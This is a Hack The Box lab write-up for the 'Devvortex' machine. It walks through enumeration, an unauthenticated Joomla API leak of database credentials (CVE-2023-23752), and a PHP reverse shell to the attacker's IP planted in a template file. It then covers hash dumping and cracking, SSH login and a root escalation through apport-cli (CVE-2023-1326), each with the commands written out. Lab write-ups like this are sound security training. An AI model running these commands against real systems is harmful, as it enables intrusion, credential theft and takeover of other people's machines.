# HTB - Devvortex

<figure><img src="https://3428914540-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FY3ATNfStu0iYjwa3JAQp%2Fuploads%2F4prW2eCNAsyYcCuN6DrE%2Fdevvortex.jpg?alt=media&#x26;token=249d7668-7435-469b-9f71-ec63cdac0ebf" alt=""><figcaption></figcaption></figure>

## Enumeration Phase:

### Nmap scan

First off, I started my enumeration with an Nmap scan of **`10.10.11.242`**. The options I regularly use are: **-`sC`** is the equivalent to **`--script=default`** and runs a collection of Nmap enumeration scripts against the target, **`-sV`** does a service scan.

```
nmap -sC -sV 10.10.11.242
```

<figure><img src="https://3428914540-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FY3ATNfStu0iYjwa3JAQp%2Fuploads%2Fvtt7Y1EJzbvYlkcRaoNG%2Fnmap.png?alt=media&#x26;token=e679e11d-71c8-41bb-92ae-2ee55073cdf5" alt=""><figcaption></figcaption></figure>

I added **`devvortex.htb`** to `/etc/hosts` next to the IP of the box which is **`10.10.11.242`**

Since I still didn't have a way in, the next place to enumerate was **HTTP** on port **80**.  Navigating to **`http://devvortex.htb`**&#x20;

<figure><img src="https://3428914540-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FY3ATNfStu0iYjwa3JAQp%2Fuploads%2Ff8fJ6ARmbEjDApHSIV9z%2Fdevvortex.png?alt=media&#x26;token=87f5d04e-629f-4a2f-af97-aec8edcc23bd" alt=""><figcaption></figcaption></figure>

### Brute-force hidden directories: <a href="#ee16" id="ee16"></a>

After visiting **`http://devvortex.htb`** I decided to brute-force hidden directories with Gobuster and didn't find anything :cry:

```
gobuster dir -u devvortex.htb -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -fs 200
```

### Subdomain enumeration: <a href="#ee16" id="ee16"></a>

I used also gobuster for this host Subdomain enumeration and found **dev.devvortex.htb**

```
gobuster vhost -u devvortex.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
```

<figure><img src="https://3428914540-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FY3ATNfStu0iYjwa3JAQp%2Fuploads%2FYWRhSff6o0N5cHJokfky%2Fvhost.png?alt=media&#x26;token=01dfb7a9-56e0-4574-ac6b-97c14a64d2f0" alt=""><figcaption></figcaption></figure>

I added **`dev.devvortex.htb`** to `/etc/hosts` next to the IP of the box which is **`10.10.11.242`**

After visiting **`http://dev.devvortex.htb`**&#x20;

<figure><img src="https://3428914540-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FY3ATNfStu0iYjwa3JAQp%2Fuploads%2F0ABOuyBgFeQgCf1iLMo3%2Fdevdev.png?alt=media&#x26;token=29473125-fb68-42d3-af45-fd99c94332f2" alt=""><figcaption></figcaption></figure>

### Brute-force hidden directories: <a href="#ee16" id="ee16"></a>

I decided to brute-force hidden directories with Dirsearch and find **/administrator/** and **/Readme.txt** :tada:

```
dirsearch -u dev.devvortex.htb
```

<figure><img src="https://3428914540-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FY3ATNfStu0iYjwa3JAQp%2Fuploads%2FM2D9NRrDZLlgXBHvVpmo%2Fdir.png?alt=media&#x26;token=8aa24517-a8f8-4b59-804e-0df7e9078de4" alt=""><figcaption></figcaption></figure>

On the **Administrator** page, I found out that is the login page of Joomla CMS.

<figure><img src="https://3428914540-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FY3ATNfStu0iYjwa3JAQp%2Fuploads%2FlrzP00YSSanMazCbOIWN%2Flogin.png?alt=media&#x26;token=ed343070-30b5-4161-afb0-ef8b829f64b9" alt=""><figcaption></figcaption></figure>

On the **Readme.txt** page, I found out the version of **Joomla CMS 4.2**.

<figure><img src="https://3428914540-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FY3ATNfStu0iYjwa3JAQp%2Fuploads%2FYxEsBG0gr11d6f73U2Vq%2Fversion.png?alt=media&#x26;token=7b08a42a-3cb4-438e-9eb8-aa30b9693223" alt=""><figcaption></figcaption></figure>

### Initial Foothold: <a href="#id-5880" id="id-5880"></a>

I found out that **Joomla CMS 4.2** is Vulnerable to **CVE-2023-23752** and used the tool **Curl** to get some sensitive information including the **Username** and **Password** of user **Lewis**.\
About **CVE-2023-23752** more on this link:<https://nvd.nist.gov/vuln/detail/CVE-2023-23752>

```
curl -v 'http://dev.devvortex.htb/api/index.php/v1/config/application?public=true'
```

<figure><img src="https://3428914540-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FY3ATNfStu0iYjwa3JAQp%2Fuploads%2F6QwVAFz6AJ0ayB4NXwGc%2Fcurl.png?alt=media&#x26;token=f522ac25-9b35-4944-90ec-2b04cd6c33ff" alt=""><figcaption></figcaption></figure>

After login on to the **Administrator** page with credentials that I found with Curl, I edited **error.php** which was located at **/template/Cassiopeia/error.php** and set up reverse shell script.

```
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.175/9001 0>&1'");
?>
```

<figure><img src="https://3428914540-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FY3ATNfStu0iYjwa3JAQp%2Fuploads%2F81x4y5aWk9wRYCCpMX2S%2Ferror.png?alt=media&#x26;token=35f0b53e-9978-4692-a65f-4ffa01f71cb9" alt=""><figcaption></figcaption></figure>

I ran **Netcat** to listen to incoming connections and used **Curl** to trigger a **reverse shell** at the **error.php** page.<br>

```
nc -lvnp 9001
curl http://dev.devvortex.htb/templates/cassiopeia/error.php
```

<figure><img src="https://3428914540-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FY3ATNfStu0iYjwa3JAQp%2Fuploads%2F8IPMMYaBO62IWZaF4Gc6%2Freverseshell.png?alt=media&#x26;token=3166ab69-4e6f-4ed3-bb2f-6673e3f129cc" alt=""><figcaption></figcaption></figure>

**Boom!** I got the **shell** as **www-data**

<figure><img src="https://3428914540-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FY3ATNfStu0iYjwa3JAQp%2Fuploads%2FqtXl4pUYbiICyJJNm7q6%2Fdata.png?alt=media&#x26;token=c6f31a17-e6d2-4824-b06d-e1bb961608f3" alt=""><figcaption></figcaption></figure>

### Owning User: <a href="#id-7154" id="id-7154"></a>

**Credentials** that I found with **Curl** have also a **Database name** so I went for MySQL checking.

```
mysql -u lewis -p
show databases;
use joomla
show tables;
```

<figure><img src="https://3428914540-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FY3ATNfStu0iYjwa3JAQp%2Fuploads%2FQCuOp1B1VRiDM76p8C6T%2Fmysql.png?alt=media&#x26;token=1b6ec697-db9d-47d4-a21d-d565c44778d1" alt=""><figcaption></figcaption></figure>

```
select * from sd4fg_users;
```

<figure><img src="https://3428914540-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FY3ATNfStu0iYjwa3JAQp%2Fuploads%2FvEElta2M1A6JGomUtiL4%2Fmysql%202.png?alt=media&#x26;token=2b36a274-2e56-4002-8aca-853546e3bba6" alt=""><figcaption></figcaption></figure>

Bingo :tada: I found the **hash** of **Lewis and** saved the hash locally in a .txt file.

```
echo 'HASH' >> hash.txt
```

I cracked the hash of **Logan** using the tool **John The Ripper**

```
sudo john --wordlist=/usr/share/wordlists/rockyou.txt --rules hash.txt
```

<figure><img src="https://3428914540-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FY3ATNfStu0iYjwa3JAQp%2Fuploads%2F1IG02EEhlSE1CwdcyF5I%2Fjohn.png?alt=media&#x26;token=e22158da-c916-48f4-be08-cfc32a5bfaa2" alt=""><figcaption></figcaption></figure>

Sweet !!!! I log in as a user L**ogan** via **SSH**.

```
ssh logan@devvortex.htb
```

<figure><img src="https://3428914540-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FY3ATNfStu0iYjwa3JAQp%2Fuploads%2FDmcrXvqJHdo7SdTR886y%2Fimage.png?alt=media&#x26;token=7c3e3a41-a3ca-4623-8eff-f677ab84b4e8" alt=""><figcaption></figcaption></figure>

### Owning Root: <a href="#a6ef" id="a6ef"></a>

The **sudo -l** command gives me some interesting output

```
sudo -l
```

<figure><img src="https://3428914540-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FY3ATNfStu0iYjwa3JAQp%2Fuploads%2FxBc56OhuBWcyXbgdaI3z%2Fimage.png?alt=media&#x26;token=eb81a67d-5bad-4ea6-9565-10f44655ff33" alt=""><figcaption></figcaption></figure>

I found out that **Apport-cli** is Vulnerable to **CVE-2023-1326**\
About **CVE-2023-1326** more on this link: [**https://bugs.launchpad.net/ubuntu/+source/apport/+bug/2016023**](https://bugs.launchpad.net/ubuntu/+source/apport/+bug/2016023)

```
sudo apport-cli -c /bin/mysql less
v
!
id
```

<figure><img src="https://3428914540-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FY3ATNfStu0iYjwa3JAQp%2Fuploads%2FwdvT2IzhuXawpYwvtBiV%2Froot.png?alt=media&#x26;token=a76ba0aa-5df4-46b6-bddd-61fcae6642e9" alt=""><figcaption></figcaption></figure>
